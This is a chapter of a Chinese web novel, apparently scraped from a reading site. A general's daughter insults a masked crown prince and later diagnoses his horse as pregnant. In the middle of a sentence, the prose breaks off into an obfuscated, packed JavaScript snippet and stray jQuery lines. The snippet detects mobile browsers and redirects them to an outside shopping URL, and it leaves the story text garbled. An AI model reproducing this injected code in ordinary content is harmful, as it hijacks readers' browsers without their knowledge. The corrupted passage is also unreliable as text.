默认冷灰
24号文字
方正启体

5. 不得无礼,这是太子殿下!

作者:宏微本书字数:K更新时间:
    路过忠武王府,赵圣微原本并无过府之意。


    宋元礼从他师父那里带过来的消息:霍忠武王府朴素得很,哪里像个王府,倒像个破落户。


    他便觉得过府不入甚为无礼,还是要去面见忠武王,以视尊敬。


    太子舍人程百舟便是那位与阮息当街起冲突的公子,他禀告太子自己与王府有约,叫停了马车要下车去,却不想太子说,一同去瞧瞧吧。


    王府的下人恭敬地将二位引入前厅,请他二人入座,谁知他俩屁股还没坐下,一群拿着棍子的下人便小跑进来,分站在前厅两侧,门窗都关上了,室内一时昏暗下来。屁股便坐不下来了,只能一头雾水地站在堂中。


    “好大的胆子。”


    赵圣微自进屋时便揣着手,王府的下人们将动静闹得那样大,他也没有半分惊慌,揣在袖子里的手依然揣着。


    阮息让萧萧和轻轻去拖住霍靖,自己独自来了前厅会客。


    她从屏风后走出,有些意外,那碰瓷的家伙居然还带了帮手——一个带着鬼面具的高个子男人。


    她把手背在身后,围着他俩走了一圈,停在了那个“鬼面具”跟前,发出了一声嗤笑:“这面具做工还不错嘛。”阮息说着,非常轻佻地伸手,用中指指节扣了扣那副面具,“叩叩”两声,沉沉的羞辱,隔着面具传到赵圣微脸上。


    赵圣微未及反应,程百舟已然凝眉,上前一步,语气严肃:“不得无礼!这是太子殿下!”


    阮息一巴子打在他头上:“沃日你大爷!哪国的太子跟你个敲竹杠的混在一起,哪国的太子脸上罩个这玩意儿!你看我像傻的吗?你俩在这玩你姥爷的过家家呢!他扮太子你扮什么?瞧你那涂脂抹粉穿红戴绿的风骚样!我瞧你俩都像不正经的,不是勾栏唱戏的就是蜂窠卖腚的!”


    那家伙捂着挨打的脑袋,蒙住脸垂着头,一脸的哭不下笑不出,偷偷斜眼看了眼赵圣微,更不敢再抬头。


    阮息还蛮骄傲,皇室的人她害怕,可这两个地痞流氓凭什么欺负到她头上?


    “少装神弄鬼的,把你这狗屁面具给我摘了。”阮息说着,指节自下往上一抬,便要掀了他的面具,却没料到眼前的人会突然发难,猛抓住了她的手腕,她越挣扎,他抓得越紧。


    “这年头敲竹杠的都这么嚣张了!”


    阮息话音落下的一瞬间,那人拽着她的手腕,将她拖近到了眼跟前,她看到那人黑漆漆的眼神,登时头皮发麻地别开了眼。


    “从未有人,在本宫面前如此嚣张。”


    听闻这话的深沉语气,阮息的第一反应是:演得还挺像。


    可转念一想,不对劲,方才这人的眼神带给她的压迫感是实打实的。迟到的谨慎让她的情绪冷静了一点,她距离他很近,可以闻见他身上的冷香味,有那么一丝,是和大珰徐太极相似的,可是……可是太子怎么会是这样呢?敲竹杠、戴鬼面?


    阮息慢慢地将眼神移了回来,看向了这个面具,也尽力在看面具后的那双眼睛,可他已经垂眸,她看不清他的眼神了。


    正此时,门被猛地推开,亮光全部照进来,照在纠缠在一起的两人身上。


    顺着光的方向,阮息清楚地看到了水轻轻睁开的眼睛,没有笑意。她站在霍靖后侧方,眼神落在“太子”的背影,甚至带着一丝不易察觉的恐惧。


    阮息想,看来是真的了……闯祸了。


    霍靖大跨步而来,挥退了棍奴们,向赵圣微作揖道:“臣不知殿下大驾,有失远迎,还请殿下海涵。”


    闻言,赵圣微甩开了阮息的手,阮息后退几步,身形踉跄地撞在桌椅板凳上,发出不小的声响,她不安地看过去,只见赵圣微拿出一方手帕,擦了擦握过阮息手腕的那只手,而后将手帕丢到了一旁。


    阮息那个气啊,对皇室的恐惧也压不住她的怒火,可是看到连霍靖都这样小心翼翼,她只能默默地咬牙切齿,在心里窝窝囊囊地骂:乱扔垃圾没素质呜呜呜。


    “有失远迎?忠武王迎接的仪式够隆重了,本宫还以为忠武王要造反,要本宫今日折在这里。”


    他的语气,是阮息闻所未闻的冷漠,不带任何蔑视、嘲讽或是应对生命危险的恐惧之类的情绪,完全置身事外一般,什么都没看进眼里,而不是看不起。


    是阮息的错觉吗?分明不久之前,他愤怒和嫌恶的情绪还那么分明地在警告自己,怎么一转头,换了副面孔一般。


    霍靖赔着笑脸:“小女顽劣,还请殿下海涵。”


    他话音才落,赵圣微快速地接过话,低声道:“本宫入府不到一刻,就要海涵忠武王许多事,连口茶也未曾吃上。”


    未曾与霍靖等人一同出现的萧萧在此时端着茶出现了,轻轻与她一同上前,请太子与其宾客一同入座,仔细看茶。


    霍靖打量一番与太子同来那位公子,客气地询问:“敢问殿下身边这位公子乃是?”


    那人起身向霍靖作揖道:“臣程百舟,见过霍忠武王,久仰王爷大名,今日得见,无比荣幸。”


    霍靖笑意收敛半分,再问:“不知公子与小女,有何龃龉?”


    阮息瞧着那太子戴着面具怎么喝茶,还不是要摘下来,她期待地看着,却发现那家伙根本没有喝茶的意思。对于霍靖的提问,他也是毫无反应,连眼神也不曾分给程百舟一个,好像程百舟的死活与他无关一般。


    程百舟露出一个羞愧的表情,作揖道:“臣那日吃醉了酒,与大小姐吵了几句嘴,唐突了大小姐,还请大小姐、王爷海涵。”


    霍靖自己的女儿,只见她还站在桌椅旁边,面色混沌不安地揉着腰腹,估计是方才被太子一推,撞出了内伤。


    他轻咳了一声,道:“长留,程公子与你道歉来的。”


    阮息与霍靖来回几个眼神交换,在霍靖的威逼之下,不得不屈服,向赵圣微伏身道:“小女不知太子大驾,方才关门落锁……只是与程公子开个玩笑,令太子受了惊吓,实属罪过罪过……还望太子……海涵。”


    不知缘何,这句海涵说出口,阮息觉得有些好笑,若不是环境不对,她真要笑出来了。


    过了一会儿,阮息已经不觉得好笑了,赵圣微依旧没动静,她抬头看了赵圣微一眼,这人不声不响地站在原地,好像一个坏掉的电子人机玩具啊,这是电量耗尽了?还是被程百舟从后面扣了电池了?


    霍靖笑呵呵地,正要说两句话来打圆场,还未出声,只听赵圣微幽幽开口:“你要罪过的就只有这一件事吗?你方才是怎么骂本宫的?不讲与你父亲听一听么?”


    阮息无措地咧嘴一笑,怎么骂的……那些堪称国粹的辞藻在她脑子里华丽丽地飘过,阮息欲哭无泪,心里的小人已经毫无自尊地滑跪到太子脚下:娘嘞,我那都是骂程百舟那个赔钱货的,您老就当闻了个屁,皱个眉就算鸟算鸟罢!


    霍靖嘿嘿一笑:“你们年轻人拌嘴真有意思,要臣说呢,小女再没规矩也不敢对殿下出言不逊的,那些污糟话肯定都是冲程公子去的。”


    阮息连忙应和:“确实确实。”


    程百舟摸了摸鼻子:这对吗?不过反应过来后,他也是立马:“确实确实!”


    赵圣微还不知道他和霍长留具体发生了什么冲突,但不论是什么,都不至于闹大,否则绝对没有他的好果子吃。他可是再三答应赵圣微绝对不会再去喝酒,更何况还是白天吃醉了酒,当街耍酒疯!这要是让赵圣微知道,不得扒了他的皮,就算不扒他的皮,转头把这事儿告状给他老爹,老爹的唠叨和跪祠堂的体罚,只会更让他抓狂。


    只是程百舟的应和在阮息意料之外,程百舟“确实确实”把阮息从对太子高度专注的恐惧中拉出来一点,阮息:程百舟?去马场给太子挑马的那个可疑人员,恰好也是阻拦他回马场的那个泼才,这天底下有这么巧的事吗?


    马场的逃避给阮息带来的愧疚还深深地刻在她的心里,她像是急于证明自己的担当一般,忽然一转画风,严肃地问赵圣微:“小女今日在马场偶然听闻,程公子在给太子挑马,不知可挑到如意的吗?”


    程百舟作答道:“千里马难求,不急于一时。”


    阮息快速接话道:“哦?那就是没寻到满意的了?听闻太子爱马是有受惊之症,爱马难求,京中马医素手无策的话,不如让父亲帮太子看一看。”


    赵圣微轻声问:“忠武王还会医马?”


    霍靖当然不会,也不知道自己姑娘葫芦里买的什么药,只能硬着头皮道:“臣四处打仗,与太多马打过交道,不会医也会看。”


    阮息想,太子的马肯定没事,他是让程百舟以此为借口去马场给霍靖的马做手脚的,因此不会同意让霍靖去看他的马。


    谁成想,太子说:“那就麻烦王爷了。”


    出京西十里,有一处清幽别院,竹篱绕着梅林,北风一吹,梅枝瑟瑟,红梅花瓣像雪一样落下来,落在小径没有足迹的丛丛积雪上。近了,便看见招牌上的“疏影苑”,阮息把头从马车里探出来,太子的私有马场和皇家马场大有不同,皇家马场场地大,建筑恢宏大气,用的配色叫人一看便知道是皇家所有,贵气逼人;疏影苑却很风雅,单从外面看,阮息会以为里面住着个喜欢文学的有钱人,难想象居然是个跑马的脏地方。


    世人皆道千里马必是公马或是骟马,可太子这匹,偏偏是母马。


    程百舟打开马厩,牵着它,这匹金栗色的汗血马缓缓走出,毛色鲜亮有光泽,头小额宽,眼如铜铃,蹄大腿细,最主要还是它的神态——神气十足,哪里像有病的样子?


    霍靖靠近摸它时,它还非常灵性地嗤鼻,甩脑袋表示不喜爱旁人触碰。


    霍靖左看看右看看,摸摸下巴,半晌问道:“敢问殿下,马医如何断其病症?”


    程百舟代替作答:“御马监的兽医都说它没有病,有一避世的老兽医会给马把脉,被太子爱马之心感动,臣请他出山,他说,赵鎏光只是气血旺,治不治都行,过阵子它自己就好了。”


    阮息看了看马,又看了看程百舟:“额……这匹马叫赵鎏光?”


    赵圣微幽幽抢答:“不行么?”


    阮息连忙作揖:“不敢不敢。”


    她心里想着,为了一匹马,连避世的老兽医都拉了出来……什么感念爱马之心?怕不是和“怀民亦未寝”一个道理,被你硬拖下来的吧!这听过感念孝敬父母的、夫妻情深的、爱子心切的,甚至忠心侍主的,这爱马之心……真的不会被


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297576|198609||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    认为是贵公子玩物丧志么?


    “只是……”阮息赔着笑脸,“既然众兽医都以为您的爱马没有病,殿下又为何以为您这马一定病了呢?”


    程百舟表情大变,仿佛阮息问了什么大逆不道的话一般,紧急上前制止,并代替太子作答:“赵鎏光平常活泼好动,好胜心极强,每日到了时辰都要骑出去遛一遛,否则它就在马厩嘶鸣,闹得众马不得安生。可今日来,它却不大愿意奔跑了,寻常它最恨一只公马,每每与他赛跑,必要超过去,可我们试了几次,赵鎏光对其毫无胜负欲了。”


    霍靖饶有兴致地听着,一会哦一会啊,非常捧场,但阮息总觉得,太子似乎看不惯他这幅老顽童的样子,虽然太子的眼神根本没有往这边瞥。


    阮息带着答案走过去,摸了摸马面,偷摸摸地切了脉,滑脉,孕脉。


    “殿下,小女听你这话,大胆猜测,她怀孕了!小马是那只公马的!”


    赵圣微冷静道:“绝无可能。”


    阮息听他态度,大概能猜出来那些兽医为何诊断不出这孕脉,其一是他们中会给动物切脉的确实稀有,即便会,也不过表面功夫,阮息早已在这个世界了解过自己的职业状况,这里是没有《元亨疗马集》的,他们对马一类的动物的态度是:治好了就用,治不好就换一只,绝不会花太多心力;其二在于,猜出来也不敢说,就方才自己浅浅提出些质疑,程百舟就吓得仿佛自己犯了忤逆太子的重罪一般,那些兽医一看太子脸色,哪里敢不顾项上人头地梗着脖子为了一匹马跟他吵,况且这马确实就是没病!


    阮息笑嘻嘻道:“怎么就绝无可能了,太子殿下,我敢肯定,它就是怀孕了。甭说它是只母马,有孕育的能力,就算它是只公马,也得是怀了孕才这样。”


    赵圣微沉默了。


    程百舟神色忽然变得慌张起来,纠结一番,似是下定决心才敢说:“殿下……上回我遛赵鎏光的时候,不小心靠在树下睡着了,醒来时就见,赵鎏光不知怎么自己解了缰绳,与那公马在一处……但我发誓!就那一次,绝对就那一次!”


    听程百舟的语气这样恐惧,阮息是真不敢想这太子得为此发多大的脾气,却不想,赵圣微只是淡淡道:“原来如此。”就仿佛他只是为了寻找一个答案,绝不是为了惩罚谁。


    太子:“劳烦忠武王与霍姑娘为此奔忙了。”


    阮息晓得他这是在送客,但她的疑问还没有得到解答,于是追问:“敢问程公子,那日在京郊御马场为太子寻良驹时,可注意到什么可疑人员?昨日父亲为我挑了一匹马,想教我骑马,今日去时,那匹马却忽然暴毙了。”


    霍靖猛地抓住了阮息的肩膀,阮息纹丝不动,话都问出来了,还怕什么?


    程百舟僵着脸色,倒是太子,语气中似乎又有了一丝情绪:“哦?霍姑娘这是怀疑本宫?”


    阮息姿态恭敬,说话底气十足:“正是不疑心,才敢直接相问。”


    程百舟上前道:“实不相瞒,大小姐,我并未见着什么可疑人员。我常在疏影苑,不常去那边,即便是有闲杂人等,我也看不出来。”


    阮息:“多谢殿下,多谢程公子。”


    回去的路上,霍靖与阮息共乘一辆马车,霍靖苦口婆心:“长留,你今日行事太莽撞了,往后断不可如此了,你当真以为旁人都看不出太子的马有什么问题吗?你可想过为何没人愿意做这出头鸟吗?那可是太子,你知道太子是什么概念马嘛!”


    阮息叹息:“我当然知道,正是知道,才必须这么做。”


    霍靖满头雾水:“长留,你这话……何解啊?”


    阮息抬眼,眼神有些阴森:“若是我告诉爹,今天死的那匹马,不是病死的,,是被人毒死的呢?爹,你可知是何人要害我、害你?”


    霍靖大惊:“什么?当真?你如何晓得?”


    阮息佯装出轻松神秘的样子:“父亲不必惊讶。你问我,可知道太子的厉害,我正要告诉你,今日在未知的时候冒犯了他,得知真相那一刻陡然升起的恐惧爬遍了我满身的骨头,才叫我真的知道了他的恐怖。太子威名,惊天地泣鬼神,我也想当太子,让天下人听到我的名字便知道害怕,由此而尊重我,捧着我,不敢冒犯我,如果我当上太子,也必然要守住手中的权力,否则再跌下来,就不单单是回归普通人的平凡了,从那么高的地方跌下来,一定会摔得粉身碎骨的。所以所有威胁到我的人,都得去死才好。如果他都已经在要我们的命了,我还战战兢兢不敢问这问那,岂非要做枉死鬼?爹啊,比起怕太子,我更怕自己会死。”


    霍靖的手在膝头攥起,他表情凝重地听完了阮息的话,有些欣慰地摸了摸女儿的脑袋,温声道:“我姑娘自己一个人也长得这么好啊……不怕啊,爹在呢,只要爹在,谁都要不了你的命。”


    这时,马车忽然停下,霍靖撩开帘子问怎么了。


    程百舟骑马追了上来,向霍靖作揖道:“太子殿下得知王爷要为令千金挑选合适的马,忽然想起自己有一匹好马,愿意送给王爷,以感谢王爷今日上门医马,还请王爷收下。”


    霍靖回头看一眼阮息,方才还在怀疑人家要干坏事,说人家坏话呢……两人都心虚地摸了摸鼻子。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)